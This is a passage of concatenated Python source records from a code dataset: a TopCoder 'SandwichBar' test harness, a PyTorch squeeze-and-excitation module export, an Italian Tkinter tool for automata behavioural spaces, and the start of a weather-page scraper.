hasAnswer, p2):\n\tsys.stdout.write(str(\"Test \") + str(testNum) + str(\": [\") + str(\"{\"))\n\tfor i in range(len(p0)):\n\t\tif (i > 0):\n\t\t\tsys.stdout.write(str(\",\"))\n\t\t\n\t\tsys.stdout.write(str(\"\\\"\") + str(p0[i]) + str(\"\\\"\"))\n\t\n\tsys.stdout.write(str(\"}\") + str(\",\") + str(\"{\"))\n\tfor i in range(len(p1)):\n\t\tif (i > 0):\n\t\t\tsys.stdout.write(str(\",\"))\n\t\t\n\t\tsys.stdout.write(str(\"\\\"\") + str(p1[i]) + str(\"\\\"\"))\n\t\n\tsys.stdout.write(str(\"}\"))\n\tprint(str(\"]\"))\n\tobj = SandwichBar()\n\tstartTime = time.clock()\n\tanswer = obj.whichOrder(p0, p1)\n\tendTime = time.clock()\n\tres = True\n\tprint(str(\"Time: \") + str((endTime - startTime)) + str(\" seconds\"))\n\tif (hasAnswer):\n\t\tprint(str(\"Desired answer:\"))\n\t\tprint(str(\"\\t\") + str(p2))\n\t\n\tprint(str(\"Your answer:\"))\n\tprint(str(\"\\t\") + str(answer))\n\tif (hasAnswer):\n\t\tres = answer == p2\n\t\n\tif (not res):\n\t\tprint(str(\"DOESN'T MATCH!!!!\"))\n\telif ((endTime - startTime) >= 2):\n\t\tprint(str(\"FAIL the timeout\"))\n\t\tres = False\n\telif (hasAnswer):\n\t\tprint(str(\"Match :-)\"))\n\telse:\n\t\tprint(str(\"OK, but is it right?\"))\n\t\n\tprint(str(\"\"))\n\treturn res\n\nall_right = True\ntests_disabled = False\n\n\n# ----- test 0 -----\ndisabled = False\np0 = (\"ham\",\"cheese\",\"mustard\")\np1 = (\"ham cheese\",)\np2 = 0\nall_right = (disabled or KawigiEdit_RunTest(0, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 1 -----\ndisabled = False\np0 = (\"cheese\",\"mustard\",\"lettuce\")\np1 = (\"cheese ham\",\"cheese mustard lettuce\",\"ketchup\",\"beer\")\np2 = 1\nall_right = (disabled or KawigiEdit_RunTest(1, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 2 -----\ndisabled = False\np0 = (\"cheese\",\"cheese\",\"cheese\",\"tomato\")\np1 = (\"ham ham ham\",\"water\",\"pork\",\"bread\",\"cheese tomato cheese\",\"beef\")\np2 = 4\nall_right = (disabled or KawigiEdit_RunTest(2, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 3 -----\ndisabled = False\np0 = (\"foo\",\"bar\",\"baz\",\"gazonk\",\"quux\",\"bat\",\"xyzzy\",\"shme\",\"hukarz\",\"grault\",\"waldo\",\"bleh\")\np1 = (\"kalatehas\",\"spam eggs\",\"needle haystack\",\"bleh blarg\",\"plugh\",\"the best sandwich in the universe\")\np2 = -1\nall_right = (disabled or KawigiEdit_RunTest(3, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\nif (all_right):\n\tif (tests_disabled):\n\t\tprint(str(\"You're a stud (but some test cases were disabled)!\"))\n\telse:\n\t\tprint(str(\"You're a stud (at least on given cases)!\"))\n\t\nelse:\n\tprint(str(\"Some of the test cases had errors.\"))\n\n# PROBLEM STATEMENT\n# It's time to get something to eat and I've come across a sandwich bar. Like most people, I prefer certain types of sandwiches. In fact, I keep a list of the types of sandwiches I like.\n# \n# The sandwich bar has certain ingredients available. I will list the types of sandwiches I like in order of preference and buy the first sandwich the bar can make for me. In order for the bar to make a sandwich for me, it must include all of the ingredients I desire.\n# \n# Given a tuple (string) available, a list of ingredients the sandwich bar can use, and a tuple (string) orders, the types of sandwiches I like, in order of preference (most preferred first), return the 0-based index of the sandwich I will buy. Each element of orders represents one type of sandwich I like as a space-separated list of ingredients in the sandwich. If the bar can make no sandwiches I like, return -1.\n# \n# DEFINITION\n# Class:SandwichBar\n# Method:whichOrder\n# Parameters:tuple (string), tuple (string)\n# Returns:integer\n# Method signature:def whichOrder(self, available, orders):\n# \n# \n# CONSTRAINTS\n# -available will contain between 1 and 50 elements, inclusive.\n# -Each element of available will contain between 1 and 50 lowercase letters ('a' - 'z'), inclusive.\n# -orders will contain between 1 and 50 elements, inclusive.\n# -Each element of orders will contain between 1 and 50 lowercase letters ('a' - 'z') and spaces, inclusive.\n# -Each element of orders will represent a list of desired ingredients separated by single spaces, with no leading or trailing spaces.\n# \n# \n# EXAMPLES\n# \n# 0)\n# { \"ham\", \"cheese\", \"mustard\" }\n# { \"ham cheese\" }\n# \n# Returns: 0\n# \n# I only like plain ham and cheese sandwiches, and since both ham and cheese are available, I'll take that.\n# \n# 1)\n# { \"cheese\", \"mustard\", \"lettuce\" }\n# { \"cheese ham\", \"cheese mustard lettuce\", \"ketchup\", \"beer\" }\n# \n# Returns: 1\n# \n# They've run out of ham, but I'll consider other options now.\n# \n# 2)\n# { \"cheese\", \"cheese\", \"cheese\", \"tomato\" }\n# { \"ham ham ham\", \"water\", \"pork\", \"bread\", \"cheese tomato cheese\", \"beef\" }\n# \n# Returns: 4\n# \n# Ignore any duplicate elements in the lists.\n# \n# 3)\n# { \"foo\", \"bar\", \"baz\", \"gazonk\", \"quux\", \"bat\", \"xyzzy\",\n# \"shme\", \"hukarz\", \"grault\", \"waldo\", \"bleh\" }\n# { \"kalatehas\", \"spam eggs\", \"needle haystack\", \"bleh blarg\", \"plugh\", \n# \"the best sandwich in the universe\" }\n# \n# Returns: -1\n# \n# END KAWIGIEDIT TESTING\n#Powered by KawigiEdit-pf 2.3.0!\n","sub_path":"uncategorized/SandwichBar.py","file_name":"SandwichBar.py","file_ext":"py","file_size_in_byte":5480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"252287215","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nfrom collections import OrderedDict\n\n\n# def make_divisible(v, divisor, min_val=None):\n# \"\"\"\n# This function is taken from the original tf repo.\n# It ensures that all layers have a channel number that is divisible by 8\n# It can be seen here:\n# https://github.com/tensorflow/models/blob/master/research/slim/nets/mobilenet/mobilenet.py\n# :param v:\n# :param divisor:\n# :param min_val:\n# :return:\n# \"\"\"\n# if min_val is None:\n# min_val = divisor\n# new_v = max(min_val, int(v + divisor / 2) // divisor * divisor)\n# # Make sure that round down does not go down by more than 10%.\n# if new_v < 0.9 * v:\n# new_v += divisor\n# return new_v\n\nclass SEModule(nn.Module):\n REDUCTION = 4\n\n def __init__(self, channel):\n super(SEModule, self).__init__()\n\n self.channel = channel\n self.reduction = SEModule.REDUCTION\n\n num_mid = 72\n\n self.fc = nn.Sequential(OrderedDict([\n ('reduce', nn.Conv2d(self.channel, num_mid, 1, 1, 0, bias=True)),\n ('relu', nn.ReLU(inplace=True)),\n ('expand', nn.Conv2d(num_mid, self.channel, 1, 1, 0, bias=True)),\n ('h_sigmoid', Hsigmoid(inplace=True)),\n ]))\n\n def forward(self, x):\n y = x.mean(3, keepdim=True).mean(2, keepdim=True)\n y = self.fc(y)\n return x * y\n\nnet = SEModule(3)\n_ = net(torch.Tensor(1, 3, 224, 224))\ntrace_model = torch.jit.trace(net, (torch.Tensor(1, 3, 224, 224), ))\ntrace_model.save('./assets/se.jit')","sub_path":"jiangrong/jit-se.py","file_name":"jit-se.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"465321193","text":"import timeit\nimport tkinter as tk\nimport tracemalloc\nfrom tkinter import *\nimport tkinter.messagebox as tkMsg\nfrom tkinter import filedialog as fd\n\nimport numpy as np\nfrom func_timeout import func_timeout, FunctionTimedOut\nimport matplotlib.colors\nimport matplotlib.pyplot as plt\n\nimport Automa\nimport Constant\nimport Link\nimport SalvaRiassunto\nimport Transizione\nimport SpazioComportamentale\nimport SpazioComportamentaleOsservazione\nimport CaricaRete\n\nclass MainW(tk.Tk):\n\n def MostraReteCreata(self, NomeRete, PercorsoSalvataggio, NomiAutomi):\n NomeRete = NomeRete.split('.')[0]\n finestraCreazioneDati = tk.Toplevel(self)\n finestraCreazioneDati.title(\"Dati della nuova rete\")\n finestraCreazioneDati.configure(background=\"white\")\n\n frameRete = tk.Frame(finestraCreazioneDati)\n\n hScrollbar = tk.Scrollbar(frameRete, orient=HORIZONTAL)\n vScrollbar = tk.Scrollbar(frameRete, orient=VERTICAL)\n\n canvasRete = tk.Canvas(frameRete, yscrollcommand=vScrollbar.set, xscrollcommand=hScrollbar.set)\n vScrollbar.config(command=canvasRete.yview)\n hScrollbar.config(command=canvasRete.xview)\n\n frameRete.pack(fill=BOTH, expand=1)\n\n canvasRete = tk.Canvas(frameRete)\n canvasRete.pack(side=LEFT, fill=BOTH, expand=1)\n\n yScrollbarRete = tk.Scrollbar(frameRete, orient=VERTICAL, command=canvasRete.yview)\n yScrollbarRete.pack(side=RIGHT, fill=Y)\n xScrollbarRete = tk.Scrollbar(frameRete, orient=HORIZONTAL, command=canvasRete.xview)\n xScrollbarRete.pack(side=BOTTOM, fill=X)\n\n canvasRete.configure(yscrollcommand=yScrollbarRete.set)\n canvasRete.configure(xscrollcommand=xScrollbarRete.set)\n canvasRete.bind('<Configure>', lambda e: canvasRete.configure(scrollregion=canvasRete.bbox(\"all\")))\n\n second_frame = tk.Frame(canvasRete)\n\n canvasRete.create_window((0,0), window=second_frame, anchor=\"nw\")\n\n count = 1\n for automa in NomiAutomi:\n labelAutoma = tk.Label(second_frame, text=automa)\n labelAutoma.grid(row=count, column=0)\n\n automaImmagine = tk.PhotoImage(file=\"\" + PercorsoSalvataggio + automa + \".gv.png\")\n labelAutomaImg = tk.Label(second_frame, image=automaImmagine)\n labelAutomaImg.image = automaImmagine\n labelAutomaImg.grid(row=count, column=1)\n\n count += 1\n\n count += 1\n labelTopologia = tk.Label(second_frame, text=\"Topologia\")\n labelTopologia.grid(row=count, column=0)\n topologiaImg = tk.PhotoImage(file=\"\" + PercorsoSalvataggio + \"topologia.gv.png\")\n labelTopologiaImg = tk.Label(second_frame, image=topologiaImg)\n labelTopologiaImg.image = topologiaImg\n labelTopologiaImg.grid(row=count, column=1)\n\n count += 1\n labelSpazioComportamentale = tk.Label(second_frame, text=\"Spazio Comportamentale\")\n labelSpazioComportamentale.grid(row=count, column=0)\n spazioComportamentaleImg = tk.PhotoImage(file=\"\" + PercorsoSalvataggio + NomeRete + \".gv.png\")\n labelSpazioComportamentaleImg= tk.Label(second_frame, image=spazioComportamentaleImg)\n labelSpazioComportamentaleImg.image = spazioComportamentaleImg\n labelSpazioComportamentaleImg.grid(row=count, column=1)\n\n count += 1\n labelSpazioComportamentalePotato = tk.Label(second_frame, text=\"Spazio Comportamentale Potato\")\n labelSpazioComportamentalePotato.grid(row=count, column=0)\n spzCompPotatoImg = tk.PhotoImage(file=\"\" + PercorsoSalvataggio + NomeRete + \"Pot.gv.png\")\n labelSpazioComportamentalePotatoImg = tk.Label(second_frame, image=spzCompPotatoImg)\n labelSpazioComportamentalePotatoImg.image = spzCompPotatoImg\n labelSpazioComportamentalePotatoImg.grid(row=count, column=1)\n\n count += 1\n labelSpzPotatoRidenominato = tk.Label(second_frame, text=\"Spazio Comportamentale Potato e Ridenominato\")\n labelSpzPotatoRidenominato.grid(row=count, column=0)\n spzCompPotRidenImg = tk.PhotoImage(file=\"\" + PercorsoSalvataggio + NomeRete + \"PotRid.gv.png\")\n labelSpzPotRidenImg = tk.Label(second_frame, image=spzCompPotRidenImg)\n labelSpzPotRidenImg.image = spzCompPotRidenImg\n labelSpzPotRidenImg.grid(row=count, column=1)\n\n def CreaRete(self):\n\n def apriAutoma():\n path = fd.askopenfilename()\n labelAutomaPath.config(text=path)\n if path != \"\":\n buttonLink['state'] = 'normal'\n\n def apriLink():\n path = fd.askopenfilename()\n labelLinkPath.config(text=path)\n if path != \"\":\n buttonTransizioni['state'] = 'normal'\n\n def apriTransizione():\n path = fd.askopenfilename()\n labelTransizioniPath.config(text=path)\n if path != \"\":\n buttonSalvaRete['state'] = 'normal'\n\n def controlloOsservazione(lista_transizioni):\n osservazione_lineare = entryOsservazione.get()\n osservazione_lineare = osservazione_lineare.split(',')\n for oss in osservazione_lineare:\n if not str(oss).isalnum():\n tkMsg.showerror(title=\"Osservazione errata\",\n message=\"L'osservazione lineare contiene caratteri non ammessi\")\n return 1\n trovato = False\n for transizione in lista_transizioni:\n if transizione.observability == oss:\n trovato = True\n break\n if not trovato:\n tkMsg.showerror(title=\"Errore osservazione\",\n message=\"L'osservazione lineare contiene elementi non presenti nello spazio\")\n return 1\n return 0\n\n def importaFile(AutomaDaCaricare, LinkDaCaricare, TransizioniDaCaricare, NomeRete, PercorsoSalvataggio):\n # listaMem, listaPic):\n #Importo gli automi\n automi = []\n value = Automa.Automa.importaAutomiDaFile(automi, AutomaDaCaricare)\n if value != 0:\n # Qualcosa è andato storto\n tkMsg.showerror(title=\"Errore\", message=\"Qualcosa è andato storto, ricontrollare il file degli automi inserito\")\n return -1, -1\n # Disegno degli automi\n nomiAutomi = []\n for automa in automi:\n nomiAutomi.append(automa.name)\n automa.disegnaAutoma(automa.edges, automa.final_states, PercorsoSalvataggio)\n # Importo dei link\n links = []\n value = Link.importaLinkDaFile(links, LinkDaCaricare)\n if value != 0:\n tkMsg.showerror(title=\"Errore\", message=\"Qualcosa è andato storto, ricontrollare il file dei link inserito\")\n return -1, -1\n # Disegno della topologia\n Link.Link.disegnaTopologia(links, PercorsoSalvataggio);\n # Importo delle transizioni\n lista_transizioni = []\n transizioni = []\n value = Transizione.importaTransizioniDaFile(lista_transizioni, transizioni, TransizioniDaCaricare)\n if value != 0:\n tkMsg.showerror(title=\"Errore\", message=\"Qualcosa è andato storto, ricontrollare il file delle transizioni inserito\")\n return -1, -1\n #Controllo che sia stata inserita un'osservazione lineare (se non è stata inserita allora non è richiesta)\n if entryOsservazione.var.get() == \"\":\n # Creazione dello spazio comportamentale\n lista_stati = []\n lista_link = []\n stato_comportamentale = []\n arco_comportamentale = []\n try:\n # tracemalloc.start()\n func_timeout(Constant.TIMEOUT, func=SpazioComportamentale.creaSpazioComportamentale,\n args=(automi, transizioni, links, lista_stati,\n lista_link, lista_transizioni, stato_comportamentale, arco_comportamentale))\n # first_item, second_item = tracemalloc.get_traced_memory()\n # listaMem.append(first_item)\n # listaPic.append(second_item)\n # tracemalloc.stop()\n except FunctionTimedOut:\n tkMsg.showerror(title=Constant.titleTimeOut, message=Constant.messageTimeOut)\n return -1, -1\n # Disegno dello spazio comportamentale\n # tracemalloc.start()\n SpazioComportamentale.ArcoComportamentale.disegnaSpazioComportamentale(arco_comportamentale,\n PercorsoSalvataggio + NomeRete.split('.')[0])\n # first_item, second_item = tracemalloc.get_traced_memory()\n # listaMem.append(first_item)\n # listaPic.append(second_item)\n # tracemalloc.stop()\n # Potatura\n try:\n # tracemalloc.start()\n func_timeout(Constant.TIMEOUT, func=SpazioComportamentale.Potatura,\n args=(stato_comportamentale, arco_comportamentale))\n # first_item, second_item = tracemalloc.get_traced_memory()\n # listaMem.append(first_item)\n # listaPic.append(second_item)\n # tracemalloc.stop()\n except FunctionTimedOut:\n tkMsg.showerror(title=Constant.titleTimeOut, message=Constant.messageTimeOut)\n return -1, -1\n\n # Ridenominazione\n stato_comportamentale_ridenominato = []\n arco_comportamentale_ridenominato = arco_comportamentale.copy()\n # tracemalloc.start()\n SpazioComportamentale.Ridenomina(stato_comportamentale, stato_comportamentale_ridenominato,\n arco_comportamentale_ridenominato)\n # first_item, second_item = tracemalloc.get_traced_memory()\n # listaMem.append(first_item)\n # listaPic.append(second_item)\n # tracemalloc.stop()\n\n # stato_comportamentale_ridenominato, arco_comportamentale_ridenominato = SpazioComportamentale.Ridenomina(\n # stato_comportamentale, stato_comportamentale_ridenominato, arco_comportamentale_ridenominato)\n\n # Costruzione e salvataggio del sommario\n summary = SalvaRiassunto.PreparaSommario(automi, links, lista_transizioni,\n stato_comportamentale_ridenominato, arco_comportamentale_ridenominato, osservato=False)\n SalvaRiassunto.Salva(PercorsoSalvataggio + NomeRete.split('.')[0], summary)\n\n # Salvataggio su txt dello spazio comportamentale (normale)\n SpazioComportamentale.ArcoComportamentale.salvaSpazioComportamentale(arco_comportamentale, stato_comportamentale,\n PercorsoSalvataggio + NomeRete, labelAutomaPath.cget(\"text\"), labelLinkPath.cget(\"text\"),labelTransizioniPath.cget(\"text\"))\n\n # Disegno dello spazio comportamentale potato\n nomeRetePotata = PercorsoSalvataggio + NomeRete.split('.')[0] + \"Pot\"\n\n # tracemalloc.start()\n SpazioComportamentale.ArcoComportamentale.disegnaSpazioComportamentale(arco_comportamentale,\n nomeRetePotata)\n # first_item, second_item = tracemalloc.get_traced_memory()\n # listaMem.append(first_item)\n # listaPic.append(second_item)\n # tracemalloc.stop()\n # Disegno dello spazio comportamentale potato e ridenominato\n nomeReteRidenominata = PercorsoSalvataggio + NomeRete.split('.')[0] + \"PotRid\"\n # tracemalloc.start()\n SpazioComportamentale.ArcoComportamentale.disegnaSpazioComportamentaleRidenominato(\n arco_comportamentale_ridenominato, nomeReteRidenominata)\n # first_item, second_item = tracemalloc.get_traced_memory()\n # listaMem.append(first_item)\n # listaPic.append(second_item)\n # tracemalloc.stop()\n\n return NomeRete, nomiAutomi\n else:\n esito = controlloOsservazione(lista_transizioni)\n if esito != 0:\n return -1, -1\n osservazione_lineare = entryOsservazione.get()\n osservazioneLineare = osservazione_lineare.split(',')\n\n lista_stati_oss = []\n lista_link_oss = []\n stato_comportamentale_oss = []\n arco_comportamentale_oss = []\n try:\n # tracemalloc.start()\n func_timeout(Constant.TIMEOUT, func=SpazioComportamentaleOsservazione.creaSpazioComportamentaleOsservazioneLineare,\n args=(automi, transizioni, links, lista_stati_oss, lista_link_oss, lista_transizioni,\n stato_comportamentale_oss, arco_comportamentale_oss, osservazioneLineare))\n # first_item, second_item = tracemalloc.get_traced_memory()\n # listaMem.append(first_item)\n # listaPic.append(second_item)\n # tracemalloc.stop()\n except FunctionTimedOut:\n tkMsg.showerror(title=Constant.titleTimeOut, message=Constant.messageTimeOut)\n return -1, -1\n '''\n Controllo che la rete comportamentale prodotta dall'osservazione abbia stati terminali\n '''\n terminale = False\n for stato in stato_comportamentale_oss:\n if getattr(stato, 'finale'):\n terminale = True\n break\n if not terminale:\n tkMsg.showerror(title=\"Errore osservazione\",\n message=\"L'osservazione inserita non produce una rete con stati terminali, correggere \"\n \"l'input, per favore.\")\n return -1, -1\n\n max_indice = len(osservazioneLineare)\n titoloOss = \"\".join(osservazioneLineare)\n\n # Disegno dello spazio comportamentale relativo ad un'osservazione lineare\n nome_oss = NomeRete.split('.')[0] + \"Oss\" + titoloOss\n # tracemalloc.start()\n SpazioComportamentaleOsservazione.ArcoComportamentaleOsservazione.disegnaSpazioComportamentaleIndiceOsservazione(\n arco_comportamentale_oss, PercorsoSalvataggio + nome_oss)\n # first_item, second_item = tracemalloc.get_traced_memory()\n # listaMem.append(first_item)\n # listaPic.append(second_item)\n # tracemalloc.stop()\n\n # Potatura Osservazione\n try:\n # tracemalloc.start()\n func_timeout(Constant.TIMEOUT, func=SpazioComportamentaleOsservazione.PotaturaOss,\n args=(stato_comportamentale_oss, arco_comportamentale_oss))\n # first_item, second_item = tracemalloc.get_traced_memory()\n # listaMem.append(first_item)\n # listaPic.append(second_item)\n # tracemalloc.stop()\n except FunctionTimedOut:\n tkMsg.showerror(title=Constant.titleTimeOut, message=Constant.messageTimeOut)\n return -1, -1\n\n # Ridenominazione Osservazione\n stato_comportamentale_ridenominato_oss = []\n arco_comportamentale_ridenominato_oss = arco_comportamentale_oss.copy()\n # tracemalloc.start()\n SpazioComportamentaleOsservazione.RidenominaOss(stato_comportamentale_oss,\n stato_comportamentale_ridenominato_oss, arco_comportamentale_ridenominato_oss, max_indice)\n # first_item, second_item = tracemalloc.get_traced_memory()\n # listaMem.append(first_item)\n # listaPic.append(second_item)\n # tracemalloc.stop()\n\n # Costruzione e salvataggio del sommario\n summary = SalvaRiassunto.PreparaSommario(automi, links, lista_transizioni,\n stato_comportamentale_ridenominato_oss, arco_comportamentale_ridenominato_oss, osservato=True)\n SalvaRiassunto.Salva(PercorsoSalvataggio + nome_oss, summary)\n if summary == -1:\n # Non può avvenire più perché ora se esiste lo elimino manualmente\n print(\"Il file esiste già\")\n\n # Disegno dello spazio comportamentale relativo ad un'osservazione lineare potato\n nome_pot_oss = PercorsoSalvataggio + NomeRete.split('.')[0] + \"Oss\" + titoloOss + \"Pot\"\n # tracemalloc.start()\n SpazioComportamentaleOsservazione.ArcoComportamentaleOsservazione.disegnaSpazioComportamentaleIndiceOsservazione(\n arco_comportamentale_oss, nome_pot_oss)\n # first_item, second_item = tracemalloc.get_traced_memory()\n # listaMem.append(first_item)\n # listaPic.append(second_item)\n # tracemalloc.stop()\n # Disegno dello spazio comportamentale relativo ad un'osservazione lineare potato e ridenominato\n nomeReteRidenominataOss = PercorsoSalvataggio + NomeRete.split('.')[0] + \"Oss\" + titoloOss + \"PotRid\"\n # tracemalloc.start()\n SpazioComportamentaleOsservazione.ArcoComportamentaleOsservazione.disegnaSpazioComportamentaleRidenominatoOss(\n arco_comportamentale_ridenominato_oss, nomeReteRidenominataOss)\n # first_item, second_item = tracemalloc.get_traced_memory()\n # listaMem.append(first_item)\n # listaPic.append(second_item)\n # tracemalloc.stop()\n\n # Salvo la rete dello spazio comportamentale osservato\n SpazioComportamentaleOsservazione.ArcoComportamentaleOsservazione.salvaSpazioComportamentaleOss(\n arco_comportamentale_oss, stato_comportamentale_oss,\n PercorsoSalvataggio + NomeRete.split('.')[0] + \"Oss\" + titoloOss,\n labelAutomaPath.cget(\"text\"), labelLinkPath.cget(\"text\"), labelTransizioniPath.cget(\"text\"),\n osservazioneLineare)\n return nome_oss, nomiAutomi\n\n # Questo metodo fa dei controlli sui file per vedere se esistono\n def confermaCreazione():\n # salvo il percorso del punto in cui salvare\n nome_file = fd.asksaveasfilename(title=\"NuovaRete\", defaultextension=\".txt\")\n if nome_file is None or nome_file == \"\":\n return\n path_salvataggio = nome_file.split('/')\n nome_rete = path_salvataggio.pop()\n path_salvataggio = \"/\".join(path_salvataggio) + \"/\"\n\n if nome_rete is None:\n tkMsg.showerror(title=\"Errore\",\n message=\"Inserire un nome valido\")\n return\n\n AutomaDaCaricare = labelAutomaPath.cget(\"text\")\n try:\n with open(AutomaDaCaricare) as f:\n pass\n except Exception:\n tkMsg.showerror(title=\"Errore\", message=\"Il file degli automi inserito non è stato trovato\")\n return\n LinkDaCaricare = labelLinkPath.cget(\"text\")\n try:\n with open(LinkDaCaricare) as f:\n pass\n except Exception:\n tkMsg.showerror(title=\"Errore\", message=\"Il file dei link inserito non è stato trovato\")\n return\n TransizioniDaCaricare = labelTransizioniPath.cget(\"text\")\n try:\n with open(TransizioniDaCaricare) as f:\n pass\n except Exception:\n tkMsg.showerror(title=\"Errore\", message=\"Il file delle transizioni inserito non è stato trovato\")\n return\n\n # listaTempi = timeit.repeat(stmt=lambda: importaFile(AutomaDaCaricare, LinkDaCaricare, TransizioniDaCaricare,\n # nome_rete, path_salvataggio), setup='pass', number=1, repeat=100)\n # x = np.linspace(0, len(listaTempi), 100)\n # plt.scatter(x, listaTempi)\n # plt.xlabel(\"Esecuzioni\")\n # plt.ylabel(\"Tempi\")\n # plt.savefig(\"C:/Users/Alessandro/Desktop/ReteComportamentale/\" + nome_rete + \".png\", dpi=100)\n # plt.show()\n #\n # avg = sum(listaTempi) / len(listaTempi)\n # print(avg)\n\n nomeRete, nomiAutomi = importaFile(AutomaDaCaricare, LinkDaCaricare, TransizioniDaCaricare, nome_rete,\n path_salvataggio)\n\n # listaAvg = []\n # listaPic = []\n # listaColori = ['#d0ff8f', '#94ff00', '#46ff03', '#4cb543', '#35732f', '#053800']\n # i = 0\n # while i<10:\n # nomeRete, nomiAutomi = importaFile(AutomaDaCaricare, LinkDaCaricare, TransizioniDaCaricare, nome_rete,\n # path_salvataggio, listaAvg, listaPic)\n # i += 1\n # barlist = plt.bar(range(0, len(listaAvg)), listaAvg, edgecolor='black', linewidth=1)\n # i = 0\n # for i in range(len(barlist)):\n # barlist[i].set_color(matplotlib.colors.hex2color(listaColori[i % 6]))\n # i += 1\n # plt.xlabel(\"Casi\")\n # plt.ylabel(\"Occupazione Media - byte\")\n # plt.savefig(\"C:/Users/Alessandro/Desktop/ReteComportamentale/\" + nome_rete + \"Memoria.png\", dpi=100)\n # plt.show()\n # barlist = plt.bar(range(0, len(listaPic)), listaPic, edgecolor='black', linewidth=1)\n # i = 0\n # for i in range(len(barlist)):\n # barlist[i].set_color(matplotlib.colors.hex2color(listaColori[i % 6]))\n # i += 1\n # plt.xlabel(\"Casi\")\n # plt.ylabel(\"Occupazione Picchi - byte\")\n # plt.savefig(\"C:/Users/Alessandro/Desktop/ReteComportamentale/\" + nome_rete + \"Picchi.png\", dpi=100)\n # plt.show()\n\n if nomeRete == -1 and nomiAutomi == -1: # C'è stato un errore in importaFile --> esco\n return\n MainW.MostraReteCreata(self, nomeRete, path_salvataggio, nomiAutomi)\n\n finestraCreazione = tk.Toplevel(self)\n finestraCreazione.resizable(False, False)\n finestraCreazione.title(\"Crea una nuova rete\")\n finestraCreazione.configure(background=\"white\")\n\n indicazioniCreazione = \"Menu creazione rete - Inserire i nomi dei file txt per importarli.\\n\" \\\n \"Una volta creata la rete comportamentale i file degli automi, link e\\n\" \\\n \"transizioni non andranno più spostati perché i loro percorsi saranno salvati.\\n\"\n etichettaAvvioCreazione = tk.Label(finestraCreazione, text=indicazioniCreazione, bg=\"white\", font=(\"Helvetica\", 10))\n etichettaAvvioCreazione.grid(row=0, column=0, columnspan=2)\n\n buttonAutoma = tk.Button(finestraCreazione, text=\"Apri automa\", command=apriAutoma)\n buttonAutoma.grid(row=1, column=0)\n labelAutomaPath = tk.Label(finestraCreazione, text=\"\")\n labelAutomaPath.grid(row=1, column=1)\n\n buttonLink = tk.Button(finestraCreazione, text=\"Apri Link\", state=tk.DISABLED, command=apriLink)\n buttonLink.grid(row=2, column=0)\n labelLinkPath = tk.Label(finestraCreazione, text=\"\")\n labelLinkPath.grid(row=2, column=1)\n\n buttonTransizioni = tk.Button(finestraCreazione, text=\"Apri Transizione\", state=tk.DISABLED, command=apriTransizione)\n buttonTransizioni.grid(row=3, column=0)\n labelTransizioniPath = tk.Label(finestraCreazione, text=\"\")\n labelTransizioniPath.grid(row=3, column=1)\n\n labelOsservazione = tk.Label(finestraCreazione,\n text=\"Inserisci un'osservazione lineare, se la desideri, o lascia altrimenti vuoto.\\n\"\n \"L'osservazione lineare deve essere inserita usando la virgola come separatore tra\\n\"\n \"ogni singola osservabilità. Sono ammessi solo caratteri alfanumerici.\")\n labelOsservazione.grid(row=4, column=0, columnspan=2)\n entryOsservazione = tk.Entry(finestraCreazione, width=100)\n entryOsservazione.var = tk.StringVar()\n entryOsservazione['textvariable'] = entryOsservazione.var\n entryOsservazione.grid(row=5, column=0, columnspan=2)\n\n buttonSalvaRete = tk.Button(finestraCreazione, text=\"Salva Rete\", state=\"disabled\", command=confermaCreazione)\n buttonSalvaRete.grid(row=6, column=0)\n indietroButton = tk.Button(finestraCreazione, text=\"Chiudi\", command=finestraCreazione.destroy)\n indietroButton.grid(row=6, column=1)\n\n finestraCreazione.mainloop()\n\n def __init__(self, parent):\n tk.Tk.__init__(self, parent)\n self.parent = parent\n self.FinestraPrincipale()\n\n def FinestraPrincipale(self):\n\n self.title(\"Pagina Principale - Algoritmi e Strutture Dati\")\n self.configure(background=\"white\")\n istruzioniBase = \"Questo programma aiuta nella creazione e visualizzazione di reti di automi finiti.\\n\" \\\n \"Sarà possibile caricare una rete già esistente o crearne una nuova. In questo caso \\n\" \\\n \"si ricorda che è necessario avere a disposizione i file degli automi dei link e le \" \\\n \"specifiche delle transizioni.\"\n\n etichettaAvvio = tk.Label(self, text=istruzioniBase, bg=\"white\", font=(\"Helvetica\", 12))\n etichettaAvvio.pack()\n\n creaReteButton = tk.Button(self, text=\"Crea una rete\", command=self.CreaRete)\n creaReteButton.pack()\n\n caricaReteButton = tk.Button(self, text=\"Carica una rete\", command=lambda : CaricaRete.CaricaRete.CaricaRete(self))\n caricaReteButton.pack()\n\n chiudiButton = tk.Button(self, text=\"Esci\", command=self.destroy).pack()\n\nif __name__==\"__main__\":\n app = MainW(None)\n app.mainloop()\n","sub_path":"ASD/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":26850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"8926262","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\n\r\n#request information from the website (returns 200, which is good)\r\nr = requests.get('https://whnt.com/weather/').text\r\n#get actual content from website using our url (r) and html parser (lxml)\r\nsoup = BeautifulSoup(r, 'lxml')\r\n\r\ndays = [] #list for days\r\nforecast = [] #list for weather\r\nhighlow = [] #list for high/low temperatures\r\nchanceofrain = [] #list for chance of rain\r\ni = 0 #variable to increment to print out each days forecast\r\n\r\n#pulls each day from webpage into our list\r\nfor day in soup.find_all(\"div\", class_=\"date\"):\r\n days.append(day.text)\r\n\r\n#pulls each day's forecast into out list\r\nfor weather in soup.find_all(\"strong\", class_=\"day-description\"):\r\n forecast.append(weather.text)\r\n\r\n#pulls each day's high/low temps into our list (strips extra \\t and \\n)\r\nfor highnlow in soup.find_all(\"div\", class_=\"day-hi-low\"):\r\n highlow.append(highnlow.text.strip('\\t\\n'))\r\n\r\n#pulls each day's chance of rain into our list (strips extra \\n and \\t and also\r\n#just reads where the precipitation chance is as opposed to wind as well\r\nfor precip in 